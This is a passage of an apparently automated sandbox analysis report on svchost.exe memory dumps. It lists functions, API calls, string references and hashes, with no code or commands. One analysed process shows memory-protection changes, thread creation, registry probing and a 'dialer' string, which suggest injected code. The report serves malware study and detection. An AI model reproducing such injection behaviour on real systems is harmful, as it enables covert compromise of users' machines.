Instruction ID: bfab23f09705f7b99784b468b9aa13085e235c3ca8d88f22da8ea4acb8ae1034
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 55F05E70A18BA482EA418F52B92419A6371EB4EFC8F044032EE8E07B18EE3CC4498714

Function 00000179537A50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000179537A5156

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 898435458d9111b53b1cdb683c1f8426028e1d60795762d314f968d6b34372fa
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: EE02A73262DB9486E7A1CB55E49039AB7B1F3C5798F104116EACE87BA9DF7CC458CB00

Function 00000179537A5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000179537A5726

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: a54e80bb82137fd852d70d2d4b38f9064022f1ae65caaef9bbb60a77a2beb057
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 1061CB3692DB94C6E761CB55E48435AB7B0F389798F10011AEACE47BA8DB7CC458CF00

Function 0000017953783504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001795378352C
_set_statfp.LIBCMT ref: 0000017953783547
_set_statfp.LIBCMT ref: 0000017953783563
_set_statfp.LIBCMT ref: 000001795378359F

Memory Dump Source

Source File: 00000023.00000002.3072736985.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_17953770000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 3cc9218a8b4e95386c2da3f1349016e86a73989eeb7d6784e7c61b0fa2066005
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: F511A73AE1DA3111FA5715FCE4413E993E0EB5B37CF48472BA97E067DACA68C84D4100

Function 00000179537B4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000179537B412C
_set_statfp.LIBCMT ref: 00000179537B4147
_set_statfp.LIBCMT ref: 00000179537B4163
_set_statfp.LIBCMT ref: 00000179537B419F

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 1a93a27212db14d107c445d7083ca94b3231e77f583d31af7090b27211639dc1
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 16110632E1CF7821F666156AD4753E513706B7B3BCF080626A97E077D6FB24C8AC5211

Function 000001795377F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001795377F124

Strings

or copy constructor iterator', xrefs: 000001795377F25A, 000001795377F275
Wednesday, xrefs: 000001795377F1ED
Tuesday, xrefs: 000001795377F0F4

Memory Dump Source

Source File: 00000023.00000002.3072736985.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_17953770000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 7ae5aeff7bedc3f2e07649f4cc5b94845739e1ebc3c2fb1e68247ee672dcd3a0
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: AE619F32E0C66482FA67DB68E6443EE6BF0E78774CF554517CA2E177A4DA34C84AC220

Function 00000179537AAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000179537AAA68
_CallSETranslator.LIBVCRUNTIME ref: 00000179537AAAB7

Strings

RCC, xrefs: 00000179537AAA85
MOC, xrefs: 00000179537AAA7C

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 3a2af3483e4300a1187523e9586c3a768ce971fdbc56a475376103612aa46848
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: CD613632A19B988AEB619F69D4803DD77B0F74AB8CF144216EE4D17B98DB38C599C700

Function 000001795377A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001795377A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001795377A288

Strings

csm, xrefs: 000001795377A2DA
csm, xrefs: 000001795377A1C2

Memory Dump Source

Source File: 00000023.00000002.3072736985.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_17953770000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 8b5f16ec00f45c4a7ced28edb1d3fb9ff7d8c5f0b459b66f842ca35e7ccd5795
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: C2517032908AA0CAFBA68F25954439877F0F39AB98F185117EF5D87BD5CB38D468C700

Function 00000179537AAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000179537AADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000179537AAE88

Strings

csm, xrefs: 00000179537AADC2
csm, xrefs: 00000179537AAEDA

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 643f0b19000955fd4531acc435b5a4dff8720e58fb8e76c4df4d970b4f056407
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 4F51B072928BA0CAEBB98F25948439D77B0F756B8DF184117DA9D47BD9CB38C468C700

Function 0000017953778405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000017953778413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000179537784A8

Strings

f, xrefs: 0000017953778426
csm, xrefs: 000001795377848E

Memory Dump Source

Source File: 00000023.00000002.3072736985.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_17953770000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 5ac530eb3dc6006a10c07ebfe96c76d79b6a881cc49be52fd1b4b670004edea5
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 1751BB32A09220AAEB57CF25E405B9837F5F352BDCF518126DA1E43788EB74E949CB04

Function 00000179537783E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000017953778413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000179537784A8

Strings

f, xrefs: 0000017953778426
csm, xrefs: 000001795377848E

Memory Dump Source

Source File: 00000023.00000002.3072736985.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_17953770000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: dc1ac7ef7cd5220de1efaa23918da90dfe07c950faa1f83c25e2fd2283a28f24
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 9831CB32A09660A6E713DF21E845B997BF4F342BDCF058116EE5E03788DB38E949CB04

Function 00000179537B2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000179537B20D7
WriteFile.KERNEL32 ref: 00000179537B239F
WriteFile.KERNEL32 ref: 00000179537B23E5
GetLastError.KERNEL32 ref: 00000179537B249B

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 06d4593c12757a61a920345c0e2df76c0e129f7e16386725fafdea6654bba7a9
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: C5D1BF32B19A9489E712CFA9D4503DC3BB1F35AB9CF148216DE5E97B99EB34C50AC340

Function 00000179537A14A4 Relevance: 6.3, APIs: 5, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000179537A14C5
HeapFree.KERNEL32 ref: 00000179537A14D4
GetProcessHeap.KERNEL32 ref: 00000179537A14E1
HeapFree.KERNEL32 ref: 00000179537A14F0
GetProcessHeap.KERNEL32 ref: 00000179537A1500

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction ID: bb6b78b593707857310a3324dd096787fdb4aa97373bc89aca0eb61e411b0d18
Opcode Fuzzy Hash: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction Fuzzy Hash: 1D118B36918AA8C6E716DF66A81818977B0F78AF89F084026EBCD43716EE38C458C744

Function 00000179537B2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000179537B2A9C
GetLastError.KERNEL32 ref: 00000179537B2B27

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: aa35c425ef9fc4d6b2506b4269cbb304a299e5433bf6d60ac2d50f473d078f8f
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: D191A032F1966485FB629F6594A03EE2BB0B746B8CF14410BDE4E67B95EF35C48AC700

Function 00000179537A7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000179537A798C
GetCurrentThreadId.KERNEL32 ref: 00000179537A799A
GetCurrentProcessId.KERNEL32 ref: 00000179537A79A6
QueryPerformanceCounter.KERNEL32 ref: 00000179537A79B6

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 9256c04884558f9edc0885e3b789def796bf32de9d9fbb855d04952720b7616f
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: A6111C32B14B1989EB008B61E8543E833B4F71A75CF440E22DBAD467A4EB78C1A88380

Function 00000179537A253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000179537A2620
StrCpyW.SHLWAPI ref: 00000179537A2639

Strings

\\.\pipe\, xrefs: 00000179537A262B

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 9464ef761ac9fd1665e8c61fdda8a34e1658d64a02c8beec298f218a00bbb3c3
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: AB71D736A287A146E766DF25D8443EA67B4F38678DF44002BDE4E53F89DE35C689C700

Function 0000017953779E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 0000017953779EB7

Strings

MOC, xrefs: 0000017953779E7C
RCC, xrefs: 0000017953779E85

Memory Dump Source

Source File: 00000023.00000002.3072736985.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_17953770000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 4c013e113835d3432451d184c3eefa52352108669f7f627b66b82dfff524006d
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 0D615433A19B988AEB229F65D4807DD77B0F34AB8CF044616EE4D17B98DB78D199C700

Function 00000179537A2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000179537A2416
StrCpyW.SHLWAPI ref: 00000179537A242D

Strings

\\.\pipe\, xrefs: 00000179537A2421

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 19b6e1f95d14bb4b976e64b46c6a80dd0e96378682549d0fa7c6c0d7907e3b1f
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 1651E732E2C7A181F6769E29A4583EAA7B1F387748F440127DE5D03B59DB39C98CC740

Function 00000179537B26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000179537B2807
GetLastError.KERNEL32 ref: 00000179537B2829

Strings

U, xrefs: 00000179537B27B3

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 0369f9cddf07d3ef424b9edaf2e32a6908f06cc7a4d25baa8926a904c7eb2ec1
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: DE41C432B19A9482EB21DF25E8543E977B0F799798F504026EE4D87794EF3CC449C744

Function 00000179537A94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000179537A94F0
RaiseException.KERNEL32 ref: 00000179537A9531

Strings

csm, xrefs: 00000179537A951E

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 6bf90dc9676103b16e0bcc020ce2c1a8f578aef3304401d1f88f1bac78d3cb30
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: C8112B36619B9482EB628B15E44439A77F5F78AB98F584221EFCC07758EF3CC565CB00

Function 0000017953777356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001795377737C

Strings

ierarchy Descriptor', xrefs: 0000017953777381
riptor at (, xrefs: 0000017953777364

Memory Dump Source

Source File: 00000023.00000002.3072736985.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_17953770000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: f60bf3152a5179fea1846c11251400d11a437752cd411464d01763722624210a
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 08E08671A44B5490DF038F61E8502D873B0DB59B68F499223995C46311FA38D1EEC300

Function 00000179537773B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000179537773D8

Strings

riptor at (, xrefs: 00000179537773C0
Locator', xrefs: 00000179537773DD

Memory Dump Source

Source File: 00000023.00000002.3072736985.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_17953770000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 8897af8326f031d2cd0f0d13e8354f59a96aeafc3cb2cafeabf6ee747cc8861e
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 0DE08671A04B5490DF038F61D4501D873B0E759B68F899223C95C06311EA38D1E9C300

Function 00000179537A1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000179537A1C2D
HeapAlloc.KERNEL32 ref: 00000179537A1C3B
GetProcessHeap.KERNEL32 ref: 00000179537A1C77
HeapFree.KERNEL32 ref: 00000179537A1C85

Part of subcall function 00000179537A152C: StrCmpIW.SHLWAPI ref: 00000179537A155D

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 2a4f8d57dda99efd85754da4b3249eaba21036bec465e402961c7aa9532c5649
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: F0119135A15B6881FA56DB66A4092A973F1FB8AFC8F584026DE8D87765EF38C446C300

Analysis Process: svchost.exePID: 696, Parent PID: 7824COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	73
Total number of Limit Nodes:	2

Executed Functions

Function 000002295D56328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002295D5632AE
PathFindFileNameW.SHLWAPI ref: 000002295D5632BD

Part of subcall function 000002295D563844: StrCmpNIW.SHLWAPI ref: 000002295D56385C

Part of subcall function 000002295D563790: GetModuleHandleW.KERNEL32 ref: 000002295D56379E
Part of subcall function 000002295D563790: GetCurrentProcess.KERNEL32 ref: 000002295D5637CC
Part of subcall function 000002295D563790: VirtualProtectEx.KERNEL32 ref: 000002295D5637EE
Part of subcall function 000002295D563790: GetCurrentProcess.KERNEL32 ref: 000002295D563809
Part of subcall function 000002295D563790: VirtualProtectEx.KERNEL32 ref: 000002295D56382A

CreateThread.KERNEL32 ref: 000002295D56330B

Part of subcall function 000002295D561D14: GetCurrentThread.KERNEL32 ref: 000002295D561D1F

Memory Dump Source

Source File: 00000024.00000002.3072308225.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2295d560000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 5031a993dd2e0ffba4341d233f54e6ba6289e794825d97dea3070d57f858cfdc
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: A4115E70B11641A2FB62ABE9F80D7692694B754785FE84124FA06815ADEF78C1EAC230

Function 000002295D561ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002295D561628: GetProcessHeap.KERNEL32 ref: 000002295D561633
Part of subcall function 000002295D561628: HeapAlloc.KERNEL32 ref: 000002295D561642
Part of subcall function 000002295D561628: RegOpenKeyExW.ADVAPI32 ref: 000002295D5616B2
Part of subcall function 000002295D561628: RegOpenKeyExW.ADVAPI32 ref: 000002295D5616DF
Part of subcall function 000002295D561628: RegCloseKey.ADVAPI32 ref: 000002295D5616F9
Part of subcall function 000002295D561628: RegOpenKeyExW.ADVAPI32 ref: 000002295D561719
Part of subcall function 000002295D561628: RegCloseKey.ADVAPI32 ref: 000002295D561734
Part of subcall function 000002295D561628: RegOpenKeyExW.ADVAPI32 ref: 000002295D561754
Part of subcall function 000002295D561628: RegCloseKey.ADVAPI32 ref: 000002295D56176F
Part of subcall function 000002295D561628: RegOpenKeyExW.ADVAPI32 ref: 000002295D56178F
Part of subcall function 000002295D561628: RegCloseKey.ADVAPI32 ref: 000002295D5617AA
Part of subcall function 000002295D561628: RegOpenKeyExW.ADVAPI32 ref: 000002295D5617CA

Sleep.KERNEL32 ref: 000002295D561AD7
SleepEx.KERNELBASE ref: 000002295D561ADD

Part of subcall function 000002295D561628: RegCloseKey.ADVAPI32 ref: 000002295D5617E5
Part of subcall function 000002295D561628: RegOpenKeyExW.ADVAPI32 ref: 000002295D561805
Part of subcall function 000002295D561628: RegCloseKey.ADVAPI32 ref: 000002295D561820
Part of subcall function 000002295D561628: RegOpenKeyExW.ADVAPI32 ref: 000002295D561840
Part of subcall function 000002295D561628: RegCloseKey.ADVAPI32 ref: 000002295D56185B
Part of subcall function 000002295D561628: RegOpenKeyExW.ADVAPI32 ref: 000002295D56187B
Part of subcall function 000002295D561628: RegCloseKey.ADVAPI32 ref: 000002295D561896
Part of subcall function 000002295D561628: RegCloseKey.ADVAPI32 ref: 000002295D5618A0

Memory Dump Source

Source File: 00000024.00000002.3072308225.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2295d560000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 6be2af435d7cef7a0d730ab2cee6188e533e90339f8f62263b8fc8a1bb8900c5
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 28310F6130264171FF529BAEF6597B953A4AB54BC0F845821FE0A876ADFE10C4F3C230

Function 000002295D563844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 000002295D56385C

Strings

dialer, xrefs: 000002295D563855

Memory Dump Source

Source File: 00000024.00000002.3072308225.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_2295d560000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: 973254c20ed36f436f38bd4d09e2a985cadb20c2f1368670b4733b9c9fac1443
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: 06D0A760312205EAFF56DFEE98CCAA02350EB04784FCC4030EA0042258DB1889EFD730

Function 000002295D53273C Relevance: 1.7, APIs: 1, Instructions: 187
